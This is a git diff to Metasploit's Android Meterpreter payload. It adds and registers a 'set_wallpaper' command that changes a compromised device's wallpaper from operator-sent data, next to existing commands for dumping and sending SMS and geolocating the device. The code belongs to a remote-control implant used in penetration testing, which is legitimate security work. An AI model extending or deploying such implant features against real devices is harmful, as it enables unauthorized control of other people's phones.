diff --git a/java/androidpayload/app/src/main/AndroidManifest.xml b/java/androidpayload/app/src/main/AndroidManifest.xml
index 145fcc0a..511d9a56 100644
--- a/java/androidpayload/app/src/main/AndroidManifest.xml
+++ b/java/androidpayload/app/src/main/AndroidManifest.xml
@@ -25,6 +25,7 @@
+
diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java b/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
index 05c5928a..bce3cfa1 100644
--- a/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
+++ b/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
@@ -12,6 +12,7 @@ import com.metasploit.meterpreter.android.dump_sms_android;
import com.metasploit.meterpreter.android.geolocate_android;
import com.metasploit.meterpreter.android.interval_collect;
import com.metasploit.meterpreter.android.send_sms_android;
+import com.metasploit.meterpreter.android.set_wallpaper_android;
import com.metasploit.meterpreter.android.stdapi_fs_file_expand_path_android;
import com.metasploit.meterpreter.android.stdapi_sys_config_getuid;
import com.metasploit.meterpreter.android.stdapi_sys_config_sysinfo_android;
@@ -161,6 +162,7 @@ public class AndroidMeterpreter extends Meterpreter {
mgr.registerCommand("wlan_geolocate", wlan_geolocate.class);
mgr.registerCommand("interval_collect", interval_collect.class);
mgr.registerCommand("activity_start", activity_start_android.class);
+ mgr.registerCommand("set_wallpaper", set_wallpaper_android.class);
}
return getCommandManager().getNewCommands();
}
diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/set_wallpaper_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/set_wallpaper_android.java
new file mode 100644
index 00000000..555d9b99
--- /dev/null
+++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/set_wallpaper_android.java
@@ -0,0 +1,30 @@
+package com.metasploit.meterpreter.android;
+
+import android.app.WallpaperManager;
+import android.content.Context;
+
+import com.metasploit.meterpreter.AndroidMeterpreter;
+import com.metasploit.meterpreter.Meterpreter;
+import com.metasploit.meterpreter.TLVPacket;
+import com.metasploit.meterpreter.command.Command;
+
+import java.io.ByteArrayInputStream;
+
+
+public class set_wallpaper_android implements Command {
+
+ private static final int TLV_EXTENSIONS = 20000;
+ private static final int TLV_TYPE_WALLPAPER_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 9201);
+
+ @Override
+ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
+ final Context context = AndroidMeterpreter.getContext();
+ if (context == null) {
+ return ERROR_FAILURE;
+ }
+ WallpaperManager wallpaperManager = WallpaperManager.getInstance(context);
+ byte[] wallpaper = request.getRawValue(TLV_TYPE_WALLPAPER_DATA);
+ wallpaperManager.setStream(new ByteArrayInputStream(wallpaper));
+ return ERROR_SUCCESS;
+ }
+}